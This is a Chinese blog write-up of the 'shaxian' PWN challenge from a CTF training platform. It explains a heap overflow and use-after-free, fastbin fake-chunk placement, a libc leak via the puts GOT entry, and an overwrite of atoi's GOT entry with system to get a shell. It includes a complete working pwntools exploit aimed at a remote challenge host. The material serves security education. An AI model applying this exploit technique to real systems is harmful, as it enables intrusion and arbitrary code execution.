攻防世界PWN之shaxian题解

标签: pwn  二进制漏洞  CTF  PWN  缓冲区溢出  ****  

shaxian

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

功能1存在溢出

free后没有清空指针

我们先创建链表三个节点,程序使用的是头插法,因此,当我们释放的时候,第一个节点最后释放,而当我们再申请同样大小的块时,由于fastbin的特性,第一个块就先被申请回来了,这样,我们溢出到节点2的结构体,覆盖指针为函数got表,就能泄露信息

  1. #头插法建立链表,chunk0最后被释放  
  2. add('10','a'#0  
  3. add('10','b'#1  
  4. add('10','c'#2  
  5. #释放链表,但不清空指针  
  6. delete()  
  7. #chunk0申请回来,并且在chunk0代表的结构体链表链接上putsgot表地址,这样我们再次show的时候就可以泄露信息  
  8. payload = 'a'*0x20 + p32(puts_got-0x4)  
  9. #prev_size size fd  
  10. payload += p32(0) + p32(0x31) + p32(ptr-0x10) #chunk1  
  11. add('10',payload)  

然后,我们show,就能泄露信息了

  1. show()  
  2. sh.recvuntil('* 10\n')  
  3. puts_addr = u32(sh.recv(4))  
  4. #print 'puts_addr=',hex(puts_addr)  
  5. libc = LibcSearcher('puts',puts_addr)  
  6. libc_base = puts_addr - libc.dump('puts')  
  7. system_addr = libc_base + libc.dump('system')  
  8. print 'libc_base=',hex(libc_base)  
  9. print 'system_addr=',hex(system_addr)  

接下来,我们想办法修改atoi的got表内容为system地址,由于fastbin特性,我们不能直接申请到atoi的got表处,因此,我们得想其他办法。只要我们控制了dword_804B1C0这个链表头指针,我们就能对指定位置进行读写,因此,我们只要申请到这个指针附近,就可以控制它。

因此,看到之前,我们在覆盖节点1(chunk0)的next指针时,顺便chunk1fd指针指向了ptr-0x10,因为我们准备在这附近伪造一个大小一样的chunk结构,就可以申请到这里。

而这个fake_chunk,我们得事先伪好,因此在程序一开始的时候

  1. fake_chunk = p32(0) + p32(0x31)    
  2. #为了能够控制堆指针ptr,我们在ptr上面可控靠近区伪造一个0x31的假chunk链接到fastbin,然后申请到这里即可    
  3. payload = 'd'*(0x100-0x10) + fake_chunk    
  4. sh.sendlineafter('Your Phone number:',payload)    

当我们申请到fake_chunk处时,就可以顺便修改atoi的got表了,我们再重新来看看程序的插入逻辑

  1. int sub_80488AF()  
  2. {  
  3.   _DWORD *v0; // ebx  
  4.   int v2; // [esp+1Ch] [ebp-Ch]  
  5.   
  6.   v2 = dword_804B1C0;  
  7.   puts("CHI SHEN ME?");  
  8.   puts("1.Banmian");  
  9.   puts("2.Bianrou");  
  10.   puts("3.Qingtangmian");  
  11.   puts("4.Jianbao");  
  12.   puts("5.Jianjiao");  
  13.   dword_804B1C0 = (int)malloc(0x28u);  
  14.   if ( !dword_804B1C0 )  
  15.     return puts("Error");  
  16.   *(_DWORD *)(dword_804B1C0 + 36) = v2;  
  17.   sub_804865D(0, dword_804B1C0 + 4, 0x3C, 10);  
  18.   //程序执行到这时,dword_804B1C0已经变成了atoi_got  
  19.   puts("How many?");  
  20.   v0 = (_DWORD *)dword_804B1C0;  
  21.   //这句代码。正好把*(atoi_got)处给修改了  
  22.   *v0 = sub_80486CD();  
  23.   puts("Add to GOUWUCHE");  
  24.   return dword_804B2E0++ + 1;  
  25. }  

综上,我们完整的exp

#coding:utf8
from pwn import *
from LibcSearcher import *

#sh = process('./shaxian')
sh = remote('111.198.29.45',55897)
elf = ELF('./shaxian')
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
ptr = 0x804B1C0

def add(count,content):
   sh.sendlineafter('choose:','1')
   sh.sendlineafter('5.Jianjiao',content)
   sh.sendlineafter('How many?',count)

def delete():
   sh.sendlineafter('choose:','2')

def show():
   sh.sendlineafter('choose:','4')

sh.sendlineafter('Your Address:','seaase')
fake_chunk = p32(0) + p32(0x31)
#为了能够控制堆指针ptr,我们在ptr上面可控靠近区伪造一个0x31的假chunk链接到fastbin,然后申请到这里即可
payload = 'd'*(0x100-0x10) + fake_chunk
sh.sendlineafter('Your Phone number:',payload)

#头插法建立链表,chunk0最后被释放
add('10','a') #0
add('10','b') #1
add('10','c') #2
#释放链表,但不清空指针
delete()
#把chunk0申请回来,并且在chunk0代表的结构体链表链接上puts的got表地址,这样我们再次show的时候就可以泄露信息
payload = 'a'*0x20 + p32(puts_got-0x4)
#prev_size size fd
payload += p32(0) + p32(0x31) + p32(ptr-0x10) #chunk1
add('10',payload)
show()
sh.recvuntil('* 10\n')
puts_addr = u32(sh.recv(4))
#print 'puts_addr=',hex(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
add('10','b') #chunk1
#申请堆块到ptr上方的假chunk处,将ptr指针覆盖为atoi的got地址,同时修改atoi的got表
add(str(system_addr - 0x100000000),'dddd' + p32(atoi_got))
#getshell
sh.sendline('/bin/sh')

sh.interactive()

 

版权声明:本文为seaaseesa原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/seaaseesa/article/details/104241759

智能推荐

攻防世界PWN之interpreter-200题解

interpreter-200 这是一个befunge程序解释器,befunge程序的语法参考https://www.jianshu.com/p/ed929cf72312,还有官方的文档在https://esolangs.org/wiki/Befunge 另外本文参考国外的一篇,加以自己的理解,做了简化 https://uaf.io/exploitation/2016/09/05/TokyoWes...

攻防世界PWN之secret_holder题解

secret_holder 本题,附件在https://pwn-1253291247.cos.ap-chengdu.myqcloud.com/SecretHolder,刷题网站上没有提供 拿到附件,我们先检查一下程序的保护机制 然后,我们用IDA分析一下 Free后没有清空指针,可以造成多次重复free 可以多次创建堆,只要我们free后再创建即可 那么,本题,我们可以利用unsorted bin...

攻防世界PWN之oneman_army题解

oneman_army 首先,检查一下程序的保护机制 然后,我们用IDA分析一下,9011功能可以溢出 最大申请0x1FF大小的堆,申请次数没有限制 Delete功能没有把指针清空 本题,已知libc为2.27,所以存在tcache bin机制,可以很容易利用。我们肯定是要攻击free_hook或者malloc_hook,那么首先需要泄露地址,而泄露地址,需要利用unsorted bin,溢出,我...

攻防世界PWN之shadow-400题解

shadow-400 首先,检查一下程序的保护机制 然后,我们用IDA分析一下 程序里面自己实现了call和ret call函数 push函数 这是主功能区 看不出什么,我们来分析汇编代码 atoi的结果是一个有符号的数,而getline的长度参数为无符号数,为了绕过0x20个长度的限制,我们只需输入负数,即可,就可以栈溢出了。 首先,我们需要泄露libc地址,那么我们只需泄露任意一个libc函数...

攻防世界PWN之bufoverflow_b题解

bufoverflow_b 这题和bufferoverflow_a类似,只是在输入的时候,增加了一个检查 遇到空字符就会截断,这将不利于我们在chunk里伪造数据。 另外增加了一个功能,不过我没有使用到。 遇到’\x00’就会截断,但是我们仍然可以完整的把我们的伪造数据放进去。 比如,我们要在偏移0x30处写一个数据0x0000000000123456,我们先把0x30处的...

猜你喜欢

【PWN系列】攻防世界 supermarket 题解

个人博客地址 欢迎大家学习交流 参考网址: 分析 大概看了一个,是一个商品系统。一个商品含有名字、价格、描述,并且程序有五个功能 : 1、添加商品 2、删除商品 3、展示商品 4、修改商品价格 5、修改商品的描述 查看添加商品代码。 每添加的一个商品都会放到一个数组里,该数组是全局变量,存放在bss段。 可以看到添加一个商品会分配两个堆。 第一个堆分配28个字节,存储的内容如下 1、name(16...

攻防世界PWN之waterdrop题解(条件竞争+pwn的盲注)

Waterdrop 首先,我们检查一下程序的保护机制 解法一 然后,我们用IDA分析一下,在guess_secret函数里,存在一个伪条件竞争的漏洞 V11为有符号数,而j为无符号数,v11如果为负数,比如-1,那么根j比较时,v11会先转成无符号数,因此变成最大值。那么循环就要很多次,导致结束这个需要循环有一定的时间。 然后,我们注意到open的flag里有O_TRUNC标志位,那么会导致文件在...

攻防世界pwn题后续题解(不断更新~)

supermarket 这是一个典型的堆题,菜单类型。 只开了NX保护的32位程序。 我们来分析一下程序 程序实现了增删改查,其中改可以改价格和商品的描述,我们重点看改描述,因为程序的漏洞就在这里。 首先让我们输入商品的名字,通过名字来找到商品,这里我们就可以伪造商品了。继续往下看会看到程序让我们输入描述信息的size。通过程序分析我们知道(&s2)[v1]+5是结构体中存储堆的size,...

python基础(《Python编程从入门到实践》笔记)K

python基础语法 本笔记是对这本书的基础语法部分进行了学习: 因为本身有其他语言的编程基础,所以笔记仅仅对我自不熟悉的部分进行了记录 函数...

VUE脚手架html2canvas生成图片

长按识别二维码 下载插件 页面引入...